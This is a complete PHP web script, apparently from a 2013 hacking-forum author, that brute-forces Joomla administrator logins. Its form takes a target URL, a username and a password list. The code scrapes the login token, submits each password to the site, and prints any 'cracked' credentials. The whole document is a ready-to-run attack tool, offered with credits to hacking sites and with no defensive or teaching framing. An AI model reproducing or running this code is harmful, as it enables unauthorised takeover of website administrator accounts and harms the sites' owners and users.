Joomla Brute Force

<form method='POST'>
<title>Joomla Brute Force 2013 By xSecurity</title>
<center>
<h1><font face='Tahoma'>Joomla Brute Force</font><h1>
<input type='text' name='target' placeholder='http://site/joomla/administrator/index.php' size='38'><br>
<input type='text' name='username' placeholder='username' size='38'><br>
<textarea rows='16' cols='38' name='password' placeholder='password'></textarea><br>
<input type='submit' value='Start Brute' name='brute'><br>
</center>
</form>
<?
        /*
                Joomla Brute Force By xSecurity
                4U :-
                                [ sec4ever.com ] [ dz-root.com ] [ hackteach.org ]
                Mr.Dm4r - b0x - RAB3OUN - Lov3rDNS - OmL33T-Dz - DamaneDz - r0kin !
                Skype : xSecur1ty
        */
        @set_time_limit(0);
        # Target
        $site = $_POST['target'];
        $username = $_POST['username'];
        $passwords = explode("\r\n", $_POST['password']);

        function token($site)
        {
                $curl = curl_init();
                curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
                curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
                curl_setopt($curl,CURLOPT_URL, $site);
                @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                $get = curl_exec($curl);
                preg_match('/<input type="hidden" name="(.*?)" value="1"/', $get, $token);
                return $token[1];
        }
        $hash = token($site);
        function brute($site,$username,$password,$hash)
        {
                $curl = curl_init();
                curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
                curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
                curl_setopt($curl,CURLOPT_URL, $site);
                curl_setopt($curl,CURLOPT_POSTFIELDS,"username={$username}&passwd={$password}&lang=&option=com_login&task=login&return=aW5kZXgucGhw&{$hash}=1");
                @curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                @curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                $brute = curl_exec($curl);
                if(eregi("Logout" , $brute))
                {
                        echo "<center><font face='Tahoma' size='2'>[+] Cracked Username : <font color='red'><b>{$username}</b></font> & Password : <font color='red'><b>{$password}</b></font></font></center>";
                }
                return $brute;
        }
        foreach($passwords as $password)
        {
                brute($site,$username,$password,$hash);
        }
        @system("del cookie.txt"); # On Windows
        @system("rm cookie.txt"); # On Linux
?>
<center><h4><font face='Tahoma'>Coded By xSecurity --> b0x@hotmail.com</font></h4></center>